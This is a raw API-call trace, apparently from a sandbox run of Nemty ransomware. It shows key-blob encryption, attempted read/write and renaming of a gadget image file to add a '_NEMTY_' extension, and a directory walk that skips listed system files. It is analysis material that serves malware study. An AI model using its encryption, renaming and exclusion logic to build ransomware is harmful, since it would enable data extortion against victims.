[0166.341] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63400d0 [0166.341] Sleep (dwMilliseconds=0x5) [0166.356] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x16cd8bb0, dwHighDateTime=0x1d561e8)) [0166.356] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x16cd8bb0, dwHighDateTime=0x1d561e8)) [0166.356] GetLastError () returned 0x5 [0166.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0166.356] GetLastError () returned 0x5 [0166.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0166.356] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0166.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0166.356] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0166.356] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0166.357] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0166.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340358 [0166.357] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340358, pcchString=0x653e91c | out: pszString="C43j9kok/B1bw5W0Nm9T26Tn3q46qj4BPKJ54BW+o6INPNxgiM8seDyovuECeEbl\r\nXGW+1n3ZrwFm4P+bIo9uY1ESSBbuWviQ/OVgCZEKX0zP0gntehCePE354FC0U7J9\r\nIC1Tw00tgY8OthOt1zTtF3u/B1KEu8VuPVFAkVT4jtSGVAhXA2de5BwPgLU+MUWr\r\nv1FT1VHEPXdS+J8Z6Xhc2aNC6GPzn/YsRhKjGT7Ak2qXMNxN4mBkJLaymuN7dIhD\r\nUhj/Qb3E4ingpKV/gPphlspTcrdP1MNFGhunyAVxaHtLde2uZhDkhGh0J+cKZ8MJ\r\ngfveu8v3Du8y+EqePhbtmw==\r\n", pcchString=0x653e91c) returned 1 [0166.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0166.357] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340358 | out: hHeap=0x4f90000) returned 1 [0166.357] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0166.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0166.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340358 [0166.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0166.357] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_moon-last-quarter.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_moon-last-quarter.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0166.357] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0166.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0166.357] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.357] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.366] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.366] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.366] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.366] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.376] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.376] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.376] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.376] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.385] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.385] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.385] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.385] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.395] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.395] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.395] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.395] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.404] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.404] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.404] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.404] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.414] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.414] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.414] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.414] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.423] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.423] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.423] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.423] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.432] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.432] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.432] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.432] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.442] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.442] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.442] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.442] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.451] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.451] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.451] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.451] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.457] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.457] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.457] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.457] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.463] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.463] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.463] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.463] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340358, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0166.463] CloseHandle (hObject=0xffffffff) returned 0 [0166.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63401a8 [0166.463] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0166.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0166.463] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0166.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0166.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0166.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63404c8 [0166.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0166.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404c8 | out: hHeap=0x4f90000) returned 1 [0166.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0166.464] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_moon-last-quarter.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_moon-last-quarter.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_moon-last-quarter.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_moon-last-quarter.png._nemty_kgobjgd_")) returned 0 [0166.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0166.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0166.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0166.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340358 | out: hHeap=0x4f90000) returned 1 [0166.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0166.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0166.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0166.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0166.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0166.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0166.464] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86d6a1d1, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86d6a1d1, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x312b5083, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x61ae, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="undocked_black_moon-last-quarter_partly-cloudy.png", cAlternateFileName="")) returned 1 [0166.464] lstrcmpiW (lpString1="undocked_black_moon-last-quarter_partly-cloudy.png", lpString2=".") returned 1 [0166.464] lstrcmpiW (lpString1="undocked_black_moon-last-quarter_partly-cloudy.png", lpString2="..") returned 1 [0166.464] lstrcmpiW (lpString1="undocked_black_moon-last-quarter_partly-cloudy.png", lpString2="...") returned 1 [0166.464] lstrcmpiW (lpString1="undocked_black_moon-last-quarter_partly-cloudy.png", lpString2="windows") returned -1 [0166.464] lstrcmpiW (lpString1="undocked_black_moon-last-quarter_partly-cloudy.png", lpString2="$RECYCLE.BIN") returned 1 [0166.464] lstrcmpiW (lpString1="undocked_black_moon-last-quarter_partly-cloudy.png", lpString2="rsa") returned 1 [0166.464] lstrcmpiW (lpString1="undocked_black_moon-last-quarter_partly-cloudy.png", lpString2="NTDETECT.COM") returned 1 [0166.464] lstrcmpiW (lpString1="undocked_black_moon-last-quarter_partly-cloudy.png", lpString2="ntldr") returned 1 [0166.464] lstrcmpiW (lpString1="undocked_black_moon-last-quarter_partly-cloudy.png", lpString2="MSDOS.SYS") returned 1 [0166.464] lstrcmpiW (lpString1="undocked_black_moon-last-quarter_partly-cloudy.png", lpString2="IO.SYS") returned 1 [0166.464] lstrcmpiW (lpString1="undocked_black_moon-last-quarter_partly-cloudy.png", lpString2="boot.ini") returned 1 [0166.464] lstrcmpiW (lpString1="undocked_black_moon-last-quarter_partly-cloudy.png", lpString2="boot.ini") returned 1 [0166.464] lstrcmpiW (lpString1="undocked_black_moon-last-quarter_partly-cloudy.png", lpString2="AUTOEXEC.BAT") returned 1 [0166.465] lstrcmpiW (lpString1="undocked_black_moon-last-quarter_partly-cloudy.png", lpString2="ntuser.dat") returned 1 [0166.465] lstrcmpiW (lpString1="undocked_black_moon-last-quarter_partly-cloudy.png", lpString2="desktop.ini") returned 1 [0166.465] lstrcmpiW (lpString1="undocked_black_moon-last-quarter_partly-cloudy.png", lpString2="CONFIG.SYS") returned 1 [0166.465] lstrcmpiW (lpString1="undocked_black_moon-last-quarter_partly-cloudy.png", lpString2="RECYCLER") returned 1 [0166.465] lstrcmpiW (lpString1="undocked_black_moon-last-quarter_partly-cloudy.png", lpString2="BOOTSECT.BAK") returned 1 [0166.465] lstrcmpiW (lpString1="undocked_black_moon-last-quarter_partly-cloudy.png", lpString2="bootmgr") returned 1 [0166.465] lstrcmpiW (lpString1="undocked_black_moon-last-quarter_partly-cloudy.png", lpString2="programdata") returned 1 [0166.465] lstrcmpiW (lpString1="undocked_black_moon-last-quarter_partly-cloudy.png", lpString2="appdata") returned 1 [0166.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x63400d0 [0166.465] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-last-quarter_partly-cloudy.png", cchWideChar=50, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 50 [0166.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0166.465] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-last-quarter_partly-cloudy.png", cchWideChar=50, lpMultiByteStr=0x6345da8, cbMultiByte=50, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-last-quarter_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 50 [0166.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0166.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6340148 [0166.465] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-last-quarter_partly-cloudy.png", cchWideChar=50, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 50 [0166.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0166.465] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-last-quarter_partly-cloudy.png", cchWideChar=50, lpMultiByteStr=0x6345da8, cbMultiByte=50, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-last-quarter_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 50 [0166.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0166.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340148 | out: hHeap=0x4f90000) returned 1 [0166.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0166.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x63400d0 [0166.465] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-last-quarter_partly-cloudy.png", cchWideChar=50, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 50 [0166.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0166.465] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-last-quarter_partly-cloudy.png", cchWideChar=50, lpMultiByteStr=0x6345da8, cbMultiByte=50, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-last-quarter_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 50 [0166.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0166.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x63400d0 [0166.465] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-last-quarter_partly-cloudy.png", cchWideChar=50, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 50 [0166.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0166.465] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-last-quarter_partly-cloudy.png", cchWideChar=50, lpMultiByteStr=0x6345d60, cbMultiByte=50, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-last-quarter_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 50 [0166.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0166.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x63400d0 [0166.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0166.465] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x63401c8 [0166.465] Sleep (dwMilliseconds=0x5) [0166.481] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x16e096b0, dwHighDateTime=0x1d561e8)) [0166.481] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x16e096b0, dwHighDateTime=0x1d561e8)) [0166.481] GetLastError () returned 0x5 [0166.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0166.481] GetLastError () returned 0x5 [0166.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0166.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0166.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0166.481] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0166.481] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0166.481] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) 